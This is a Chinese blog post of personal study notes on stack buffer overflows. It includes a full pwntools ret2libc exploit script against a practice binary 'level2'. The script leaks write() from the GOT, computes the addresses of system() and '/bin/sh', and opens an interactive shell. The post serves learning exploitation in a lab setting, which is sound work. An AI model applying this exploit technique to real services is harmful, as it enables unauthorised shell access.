Fork me on GitHub

栈溢出笔记-第三天

在看蒸米文章时候,http://www.vuln.cn/6645,这个例子是向buff写入shellcode,最后ret到shellcode地址执行。
堆栈示意图就是这样:
Alt text
注意的点,算shellcode地址,去调试core文件,x/10s $esp-144,实际就是buf起始地址。
通过ROP绕过DEP和ASLR防护
Alt text
蒸米的最后一个例子结合玉涵的视频看,需要理解plt和got

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

p = process('./level2')
#p = remote('127.0.0.1', 10003)

gdb.attach(proc.pidof(p)[0])

plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

对poc的理解,为了规避堆栈平衡问题,函数再一次返回vulfun的地址,write函数原型:ssize_t write(int fd,const void*buf,size_t count);打印出got中write函数地址。

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

在write函数下断,右图是栈中传入的4个参数
Alt text
因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

再一次溢出获得shell


payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

另一种堆栈平衡的poc,这个是
Alt text
Alt text
其中,write@plt puts@got等地址都需要在IDA中查看,因为plt和got理解不深,还需要看那本经典的书,回来在测这个方法。


下一步还是继续看《程序员的自我修养—链接、装载与库》,这里面的题目看的有点吃力,打好基础再刷这个https://www.anquanke.com/post/id/85831 目前看https://bbs.pediy.com/user-510716.htm https://bbs.pediy.com/thread-248681.htm http://www.vuln.cn/6643 https://www.anquanke.com/post/id/85831和ctf-wiki
目前都是在x86系统搞的,x64环境都没编译,先捋一遍,熟悉了,在搞x64的环境

参考链接
https://www.ichunqiu.com/course/63279
http://www.vuln.cn/6645
https://zhuanlan.zhihu.com/p/25892385

posted @ 2020-04-07 18:08  Afant1  阅读(325)  评论(0编辑  收藏  举报